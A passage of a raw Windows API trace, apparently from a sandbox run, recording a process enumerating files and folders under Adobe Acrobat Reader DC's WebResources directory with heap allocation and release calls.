ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0262.030] GetProcessHeap () returned 0xc10000 [0262.030] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.033] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xca1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_secured.png", cAlternateFileName="CLOUD_~2.PNG")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_secured_lg.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0262.034] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x239e, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0262.034] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons.png", cAlternateFileName="FAF_IC~1.PNG")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress.gif", cAlternateFileName="")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress.gif", cAlternateFileName="")) returned 0 [0262.035] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.169] GetProcessHeap () returned 0xc10000 [0262.169] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.169] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0262.169] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0262.170] GetProcessHeap () returned 0xc10000 [0262.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0262.170] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0262.170] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0262.170] GetProcessHeap () returned 0xc10000 [0262.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0262.172] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0262.172] GetProcessHeap () returned 0xc10000 [0262.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0262.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.683] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.683] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0262.684] GetProcessHeap () returned 0xc10000 [0262.684] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0262.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0262.688] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.689] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0262.689] GetProcessHeap () returned 0xc10000 [0262.689] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.691] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.691] GetProcessHeap () returned 0xc10000 [0262.691] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.691] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0262.691] GetProcessHeap () returned 0xc10000 [0262.691] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.693] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.693] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.693] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.693] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.694] GetProcessHeap () returned 0xc10000 [0262.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.694] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0262.694] GetProcessHeap () returned 0xc10000 [0262.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.694] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.694] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.694] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.694] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.695] GetProcessHeap () returned 0xc10000 [0262.695] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.695] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0262.695] GetProcessHeap () returned 0xc10000 [0262.695] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0262.696] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.696] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1931, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.696] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1931, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.696] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0262.697] GetProcessHeap () returned 0xc10000 [0262.697] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.697] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0262.697] GetProcessHeap () returned 0xc10000 [0262.697] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.698] FindNextFileW (in: 